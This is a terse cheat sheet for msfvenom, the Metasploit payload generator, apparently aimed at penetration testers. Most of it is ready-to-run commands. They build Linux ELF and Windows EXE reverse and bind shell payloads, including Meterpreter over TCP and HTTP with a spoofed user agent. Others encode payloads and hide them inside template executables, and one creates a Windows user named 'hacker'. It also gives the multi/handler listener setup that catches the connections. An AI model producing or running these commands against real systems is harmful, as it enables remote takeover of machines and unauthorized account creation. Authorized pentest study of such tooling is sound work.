Msfvenom

Creating a payload

  • msfvenom -p [payload] LHOST=[listeninghost] LPORT=[listeningport]

To view list of payloads: msfvenom -l payloads To view the payload options: msfvenom -p windows/x64/meterpreter_reverse_tcp --list-options

Creating a payload with encoding

  • msfvenom -p [payload] -e [encoder] -f [formattype] -i [iteration] <var=value> > outputfile

Creating a payload using a template

  • msfvenom -p [payload] <var=value> -x [template] -f [formattype] > outputfile

Listening for MSfvenom Payloads:

msf5>use exploit/multi/handler  
msf5>set payload windows/meterpreter/reverse_tcp  
msf5>set lhost <IP>  
msf5>set lport <PORT>  
msf5> set ExitOnSession false  
msf5>exploit -j

Creating Binaries

Linux

  • msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

  • msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
  • msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
  • msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf

Windows

  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
  • msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
  • msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
  • msfvenom -p windows/meterpreter/bind_tcp RHOST= IP LPORT=PORT -f exe > shell.exe
  • msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
  • msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe

Add a user in windows with msfvenom:

  • msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe

Shellcode: For all shellcode see msfvenom –help-formats for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
